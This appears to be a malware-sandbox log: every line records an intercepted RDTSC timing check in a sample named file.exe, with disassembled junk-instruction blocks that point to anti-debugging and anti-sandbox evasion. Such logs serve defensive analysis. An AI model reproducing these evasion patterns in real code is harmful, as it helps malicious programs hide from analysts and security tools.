Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFDF35 second address: DFDF39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFDF39 second address: DFDF48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F490480C8B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFDF48 second address: DFDF5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFDF5A second address: DFDF85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F490480C8B6h 0x0000000a pop edx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F490480C8C9h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFDF85 second address: DFDF9D instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4904C31172h 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFDF9D second address: DFDFA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFDB04 second address: DFDB09 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DFDB09 second address: DFDB3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F490480C8C7h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F490480C8C4h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E01554 second address: E0155E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F4904C31166h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E016D3 second address: E016D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E016D7 second address: E01706 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C31172h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F4904C31166h 0x00000013 jmp 00007F4904C3116Fh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E01706 second address: E0170A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08907 second address: E08916 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F4904C31166h 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08916 second address: E08925 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F490480C8B6h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E08925 second address: E0892E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0892E second address: E08934 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07303 second address: E0730F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F4904C31166h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E076FC second address: E0771E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8BDh 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jp 00007F490480C8B6h 0x00000012 jnl 00007F490480C8B6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07873 second address: E07885 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4904C3116Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB80EE second address: DB80F8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F490480C8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB80F8 second address: DB814C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F4904C31168h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push eax 0x0000000c or dword ptr [ebp+122D1DB5h], eax 0x00000012 pop edx 0x00000013 mov ebx, dword ptr [ebp+1248B2A1h] 0x00000019 or dword ptr [ebp+122D1E94h], eax 0x0000001f add eax, ebx 0x00000021 push 00000000h 0x00000023 push eax 0x00000024 call 00007F4904C31168h 0x00000029 pop eax 0x0000002a mov dword ptr [esp+04h], eax 0x0000002e add dword ptr [esp+04h], 00000017h 0x00000036 inc eax 0x00000037 push eax 0x00000038 ret 0x00000039 pop eax 0x0000003a ret 0x0000003b mov edi, 73871600h 0x00000040 push eax 0x00000041 push eax 0x00000042 push edx 0x00000043 pushad 0x00000044 jg 00007F4904C31166h 0x0000004a push ecx 0x0000004b pop ecx 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DB814C second address: DB8196 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F490480C8B8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F490480C8B8h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 push edi 0x0000002a or dword ptr [ebp+1244B30Eh], ecx 0x00000030 pop edi 0x00000031 push 00000004h 0x00000033 push eax 0x00000034 jl 00007F490480C8BCh 0x0000003a pop edi 0x0000003b nop 0x0000003c push esi 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07A60 second address: E07A7C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F4904C31176h 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07A7C second address: E07A95 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F490480C8B6h 0x00000008 jmp 00007F490480C8BCh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07A95 second address: E07AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4904C31174h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07BE4 second address: E07BE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E07BE8 second address: E07BEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E085BB second address: E085BF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E085BF second address: E085C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E085C8 second address: E085CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E085CE second address: E085D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E085D5 second address: E085EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8C5h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E085EF second address: E085F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E085F5 second address: E085FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0CA22 second address: E0CA2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0CA2C second address: E0CA3C instructions: 0x00000000 rdtsc 0x00000002 je 00007F490480C8B6h 0x00000008 jg 00007F490480C8B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0CA3C second address: E0CA42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0CA42 second address: E0CA48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0CA48 second address: E0CA62 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jbe 00007F4904C31178h 0x0000000c jmp 00007F4904C3116Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C17C second address: E0C188 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C188 second address: E0C18C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E0C18C second address: E0C1C8 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F490480C8B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F490480C8CEh 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F490480C8C1h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1308E second address: E13092 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13092 second address: E130B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F490480C8C8h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E130B0 second address: E130D7 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007F4904C3116Ah 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 jmp 00007F4904C3116Ch 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E130D7 second address: E130E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E130E3 second address: E130E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E130E7 second address: E130EB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E138CD second address: E138DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E13E20 second address: E13E24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1438A second address: E1438E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1438E second address: E1439E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jo 00007F490480C8BCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E146F6 second address: E14703 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F4904C31166h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E14703 second address: E14743 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F490480C8C9h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jnl 00007F490480C8C0h 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F490480C8BCh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E14743 second address: E1474F instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4904C31166h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E19982 second address: E19994 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F490480C8BDh 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E19994 second address: E1999A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1999A second address: E1999E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1999E second address: E199A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1CCB6 second address: E1CCEB instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F490480C8B8h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jg 00007F490480C8E9h 0x00000012 push edx 0x00000013 ja 00007F490480C8B6h 0x00000019 jmp 00007F490480C8C1h 0x0000001e pop edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jns 00007F490480C8B6h 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1CCEB second address: E1CCEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1CE22 second address: E1CE36 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 js 00007F490480C8BEh 0x0000000c pushad 0x0000000d popad 0x0000000e jbe 00007F490480C8B6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1CE36 second address: E1CE5A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F4904C3116Ah 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F4904C31172h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1CFB6 second address: E1CFD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F490480C8C8h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D115 second address: E1D130 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C3116Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a jo 00007F4904C31188h 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D130 second address: E1D136 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D136 second address: E1D13F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D13F second address: E1D143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D143 second address: E1D149 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EF5B second address: D6EF5F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EF5F second address: D6EF6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EF6C second address: D6EF72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: D6EF72 second address: D6EF77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25282 second address: E2528F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jns 00007F490480C8B6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2542B second address: E2545B instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4904C31166h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007F4904C31173h 0x00000012 ja 00007F4904C31166h 0x00000018 pop edi 0x00000019 popad 0x0000001a pushad 0x0000001b pushad 0x0000001c push edi 0x0000001d pop edi 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2545B second address: E25461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25461 second address: E25481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4904C31177h 0x0000000c push esi 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25481 second address: E2549B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F490480C8C1h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2549B second address: E254A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2591C second address: E25922 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25922 second address: E25940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4904C31176h 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25940 second address: E2594C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E25EE1 second address: E25EFC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C31176h 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E26FBC second address: E2700A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 je 00007F490480C8D0h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F490480C8C9h 0x00000013 jmp 00007F490480C8BBh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2700A second address: E27013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E27013 second address: E27019 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E27019 second address: E2701D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E24E40 second address: E24E58 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F490480C8B6h 0x00000008 jo 00007F490480C8B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jnl 00007F490480C8B6h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2CFC3 second address: E2CFDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4904C31175h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2CFDC second address: E2CFEC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F490480C8B6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2CFEC second address: E2CFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2CFF0 second address: E2D007 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F490480C8C1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C9C5 second address: E2C9DC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4904C3116Bh 0x00000007 push eax 0x00000008 push edx 0x00000009 push edx 0x0000000a pop edx 0x0000000b jns 00007F4904C31166h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C9DC second address: E2C9E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C9E0 second address: E2C9EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2C9EF second address: E2C9F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
